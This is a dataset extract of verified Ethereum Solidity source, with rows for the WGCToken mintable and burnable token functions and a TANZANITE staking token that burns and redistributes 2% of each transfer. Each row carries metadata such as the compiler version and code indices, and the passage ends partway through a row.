* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
3436,
3886
]
} | 6,939 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | MintableToken | contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
} | /**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/ | NatSpecMultiLine | mint | function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
| /**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
567,
896
]
} | 6,940 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | MintableToken | contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
} | /**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/ | NatSpecMultiLine | finishMinting | function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
| /**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
1013,
1160
]
} | 6,941 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | BurnableToken | contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
} | /**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/ | NatSpecMultiLine | burn | function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
| /**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
212,
290
]
} | 6,942 |
|
TANZANITE | TANZANITE.sol | 0x24a61515a268e9d4ec9ea786c9c5a1f88ad699ff | Solidity | TANZANITE | contract TANZANITE is ERC20Detailed
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "TANZANITE";//"TANZANITE";
string constant tokenSymbol = "TZH";//"TZH";
uint8 constant tokenDecimals = 10;
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsStaked_total = 0;
mapping (address => bool) public excludedFromStaking; //exchanges/other contracts will be excluded from staking
uint256 _totalRewardsPerUnit = 0;
mapping (address => uint256) private _totalRewardsPerUnit_positions;
mapping (address => uint256) private _savedRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
contractOwner = msg.sender;
excludedFromStaking[msg.sender] = true;
excludedFromStaking[address(this)] = true;
_mint(msg.sender, 21000000 * (10**uint256(tokenDecimals)));
}
// ------------------------------------------------------------------------
function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function fullUnitsStaked(address owner) public view returns (uint256)
{
return toFullUnits(_balances[owner]);
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256)
{
return valueWithDecimals.div(10**uint256(tokenDecimals));
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
{
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 value) internal
{
require(value != 0);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.add(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.add(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(address(0), account, value);
}
function burn(uint256 value) external
{
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) external
{
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function _burn(address account, uint256 value) internal
{
require(value != 0);
require(value <= _balances[account]);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.sub(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.sub(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(account, address(0), value);
}
/*
* transfer with additional burn and stake rewards
* the receiver gets 98% of the sent value
* 2% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 twoPercent = value.mul(2).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(twoPercent == 0 && value > 0)
twoPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(twoPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = twoPercent;
if(fus_total > 0)
{
uint256 stakingRewards = twoPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
//get all rewards that have not been claimed yet
function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
//pay out unclaimed rewards
function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
//exchanges or other contracts can be excluded from receiving stake rewards
function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
//withdraw tokens that were sent to this contract by accident
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
} | transferOwnership | function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
| // ------------------------------------------------------------------------ | LineComment | v0.5.8+commit.23d335f2 | None | bzzr://dd4a32b48751203f705ec9126afeb6fa19606b270a62d88f896dd8d55c436cb0 | {
"func_code_index": [
1438,
1694
]
} | 6,943 |
||
TANZANITE | TANZANITE.sol | 0x24a61515a268e9d4ec9ea786c9c5a1f88ad699ff | Solidity | TANZANITE | contract TANZANITE is ERC20Detailed
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "TANZANITE";//"TANZANITE";
string constant tokenSymbol = "TZH";//"TZH";
uint8 constant tokenDecimals = 10;
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsStaked_total = 0;
mapping (address => bool) public excludedFromStaking; //exchanges/other contracts will be excluded from staking
uint256 _totalRewardsPerUnit = 0;
mapping (address => uint256) private _totalRewardsPerUnit_positions;
mapping (address => uint256) private _savedRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
contractOwner = msg.sender;
excludedFromStaking[msg.sender] = true;
excludedFromStaking[address(this)] = true;
_mint(msg.sender, 21000000 * (10**uint256(tokenDecimals)));
}
// ------------------------------------------------------------------------
function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function fullUnitsStaked(address owner) public view returns (uint256)
{
return toFullUnits(_balances[owner]);
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256)
{
return valueWithDecimals.div(10**uint256(tokenDecimals));
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
{
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 value) internal
{
require(value != 0);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.add(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.add(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(address(0), account, value);
}
function burn(uint256 value) external
{
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) external
{
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function _burn(address account, uint256 value) internal
{
require(value != 0);
require(value <= _balances[account]);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.sub(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.sub(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(account, address(0), value);
}
/*
* transfer with additional burn and stake rewards
* the receiver gets 98% of the sent value
* 2% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 twoPercent = value.mul(2).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(twoPercent == 0 && value > 0)
twoPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(twoPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = twoPercent;
if(fus_total > 0)
{
uint256 stakingRewards = twoPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
//get all rewards that have not been claimed yet
function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
//pay out unclaimed rewards
function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
//exchanges or other contracts can be excluded from receiving stake rewards
function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
//withdraw tokens that were sent to this contract by accident
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
} | _executeTransfer | function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 twoPercent = value.mul(2).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(twoPercent == 0 && value > 0)
twoPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(twoPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = twoPercent;
if(fus_total > 0)
{
uint256 stakingRewards = twoPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
| /*
* transfer with additional burn and stake rewards
* the receiver gets 98% of the sent value
* 2% are split to be burnt and distributed to holders
*/ | Comment | v0.5.8+commit.23d335f2 | None | bzzr://dd4a32b48751203f705ec9126afeb6fa19606b270a62d88f896dd8d55c436cb0 | {
"func_code_index": [
6520,
8893
]
} | 6,944 |
||
TANZANITE | TANZANITE.sol | 0x24a61515a268e9d4ec9ea786c9c5a1f88ad699ff | Solidity | TANZANITE | contract TANZANITE is ERC20Detailed
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "TANZANITE";//"TANZANITE";
string constant tokenSymbol = "TZH";//"TZH";
uint8 constant tokenDecimals = 10;
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsStaked_total = 0;
mapping (address => bool) public excludedFromStaking; //exchanges/other contracts will be excluded from staking
uint256 _totalRewardsPerUnit = 0;
mapping (address => uint256) private _totalRewardsPerUnit_positions;
mapping (address => uint256) private _savedRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
contractOwner = msg.sender;
excludedFromStaking[msg.sender] = true;
excludedFromStaking[address(this)] = true;
_mint(msg.sender, 21000000 * (10**uint256(tokenDecimals)));
}
// ------------------------------------------------------------------------
function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function fullUnitsStaked(address owner) public view returns (uint256)
{
return toFullUnits(_balances[owner]);
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256)
{
return valueWithDecimals.div(10**uint256(tokenDecimals));
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
{
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 value) internal
{
require(value != 0);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.add(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.add(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(address(0), account, value);
}
function burn(uint256 value) external
{
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) external
{
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function _burn(address account, uint256 value) internal
{
require(value != 0);
require(value <= _balances[account]);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.sub(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.sub(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(account, address(0), value);
}
/*
* transfer with additional burn and stake rewards
* the receiver gets 98% of the sent value
* 2% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 twoPercent = value.mul(2).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(twoPercent == 0 && value > 0)
twoPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(twoPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = twoPercent;
if(fus_total > 0)
{
uint256 stakingRewards = twoPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
//get all rewards that have not been claimed yet
function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
//pay out unclaimed rewards
function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
